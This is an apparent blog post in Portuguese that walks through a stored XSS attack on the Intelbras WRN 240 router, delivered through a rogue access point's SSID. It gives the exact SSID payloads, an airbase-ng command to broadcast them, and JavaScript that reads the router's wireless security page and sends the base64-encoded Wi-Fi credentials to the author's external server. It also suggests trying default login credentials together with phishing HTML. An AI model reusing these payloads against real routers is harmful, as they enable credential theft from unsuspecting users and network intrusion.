Como começou
Já faz algum tempo que venho tentando ownar meu roteador, motivos? Só falta do que fazer, e as vezes falta de internet também, isso foi de tentativas de upload com firmeware modificado à tentaticas de inserir códigos na página alterando o ID da wireless, até que um dia li em um lugar sobre xss em roteadores pelo ssid de um outro AP, e tive minha idéia reforçada pelo Caio Luders após ler um tópico publicado pelo mesmo sobre isso.
O XSS
A vulnerabilidade está presente no Roteador Intelbras Wireless N 150Mbps WRN 240 (única versão testada por mim até agora), na página de busca por roteadores para usar como ponte.
URL: "http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm"
O roteador recebe o SSID das redes e em seguida mostra na tela sem nenhum tipo filtro ou sanitize, obedecendo somente ao limite de 32 caracteres do wireless. A página vulnerável não está ativa por padrão no roteador, o usuário (vítima) teria que ativá-la nas configurações do AP, mas por sorte (nossa é claro), só precisamos que o usuário logado acesse o html onde o sistema mostra as redes wireless que estão ao alcance. Ação que não seria difícil para alguém esperto.
Para subir o AP ultilizei outro roteador que eu tinha, mas nada que um airbase-ng não resolvesse. Alterei meu SSID para <script>alert('xss')</script>
, uma tentativa que não obteve sucesso, mas alterei novamente para </script><script>alert('xss')
onde a tag encerraria o primeiro </script>
e iniciaria um novo, aproveitando da tag <script>
original no fim do arquivo.
Agora que temos nosso xss vamos para a parte que realmente interessa. Obedecendo o limite de 32 caracteres do SSID wireless, uma maneira de injetar códigos longos na página seria importando de outro lugar, então alterei o SSID para </script><script src='//elb.me'>
. “elb.me” é o meu domínio que estou ultilizando para salvar os payloads.
Sabemos que para acessar a index de uma página não necessáriamente precisa do /index.??? no final, então adicionei meu script na index do “elb.me”. Em uma técnica de roubo de cookies, costuma-se usar um script em php que pega o que for passado por GET e salva em um arquivo de log, não será muito diferente disso o que vamos fazer.
O script em PHP eu configurei em https://elb.me/cookie.php?ck="
os logs ficam salvos em https://elb.me/cookie.txt
O roteador salva a senha em um ajax localizado na página http://10.0.0.1/userRpm/WlanSecurityRpm.htm
só precisamos da source dessa página para obter as credenciais. Na index de “elb.me” inseri um script em XMLHttpRequest, que me permite solicitar a source dessa página e enviar para nosso PHP receptor.
//Script feito com a ajuda do Luan Herrera
var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
alert(rawFile.responseText);
var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
//seleiciona a parte da página com as credenciais
new Image().src="https://elb.me/cookie.php?ck="+btoa(base64);
//envia as credenciais encodadas em base64
};
rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true);
//pega a source da página /popupSiteSurveyRpm.htm
rawFile.send();
Agora que temos nosso payload, basta suburmos um AP e esperar que alguém abra a página do roteador, ou podemos enviar o link de acesso direto "http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm"
.
Testando na página obtive o seguinte resultado:
Nosso script funcionou :) Agora só precisamos ir na página onde os logs forma salvos, "https://elb.me/cookies.txt"
E depois de decodarmoso base64 obtemos nossa senha.
Dicas
E se o administrador não estiver logado? Seria uma boa idéia mandar um post para a página de login com as credenciais padrões junto cm o html de phishing.
Subindo o AP com o airbase:
airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon